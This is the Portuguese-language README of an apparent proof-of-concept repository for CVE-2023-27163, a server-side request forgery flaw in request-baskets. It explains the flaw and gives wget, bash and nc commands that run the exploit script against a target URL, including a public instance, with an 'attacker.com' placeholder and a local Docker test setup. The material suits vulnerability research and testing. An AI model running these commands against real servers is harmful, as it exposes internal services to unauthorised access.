PoC de SSRF no Request-Baskets (CVE-2023-27163)

Este repositório contém uma Prova de Conceito (PoC) para CVE-2023-27163, uma vulnerabilidade de Server-Side Request Forgery (SSRF) descoberta no request-baskets até a versão 1.2.1. Esta vulnerabilidade permite que atacantes acessem recursos de rede e informações sensíveis explorando o componente /api/baskets/{name} através de uma requisição API manipulada.

Créditos para @b33t1e, @chelinboo147 e @houqinsheng (veja o artigo).

Uso

wget https://raw.githubusercontent.com/entr0pie/CVE-2023-27163/main/CVE-2023-27163.sh
bash ./CVE-2023-27163.sh https://rbaskets.in/ http://attacker.com/

Como funciona?

Request-baskets é uma aplicação web construída para coletar e registrar requisições em uma rota específica, chamada de basket. Ao criá-la, o usuário pode especificar outro servidor para encaminhar a requisição. O problema aqui é que o usuário pode especificar serviços não intencionais, como aplicações fechadas na rede.

Por exemplo: suponha que o servidor hospede o Request-baskets (porta 55555) e um servidor web Flask na porta 8000. O Flask também está configurado para interagir apenas com localhost. Ao criar um basket que encaminha para http://localhost:8000, o atacante pode acessar o servidor web Flask anteriormente restrito.

Testando no localhost

1. Inicie o container Docker do Request-Baskets

docker run -p 55555:55555 darklynx/request-baskets:v1.2.1

2. Baixe a PoC

wget https://raw.githubusercontent.com/entr0pie/CVE-2023-27163/main/CVE-2023-27163.sh

3. Aguarde uma conexão

nc -lvp 8000

4. Salve o endereço IP do host docker

DOCKER_IP=$(ifconfig docker0 | grep inet | head -n 1 | awk '{ print $2 }')

5. Execute a PoC

./CVE-2023-27163.sh http://127.0.0.1:55555/ http://$DOCKER_IP:8000/

Licença

Este projeto está sob a Unlicense.